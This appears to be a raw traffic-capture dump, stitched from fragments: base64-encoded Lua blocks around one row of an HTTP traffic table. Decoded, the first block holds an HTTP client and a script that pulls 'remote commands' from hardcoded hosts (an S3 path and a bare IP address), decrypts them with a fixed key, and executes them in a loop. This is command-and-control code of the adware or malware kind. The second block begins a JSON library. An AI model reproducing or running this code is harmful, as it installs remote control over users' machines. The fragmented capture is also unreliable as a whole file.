Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d271zaccbgpi7o.cloudfront.net (54.230.46.55:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
15 | /v2/tfn5306351516.html(14) | text/html | tfn5306351516.html(14) | 200 OK | TEXT | 46.2 KB | 05/04/08 04:48:08 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
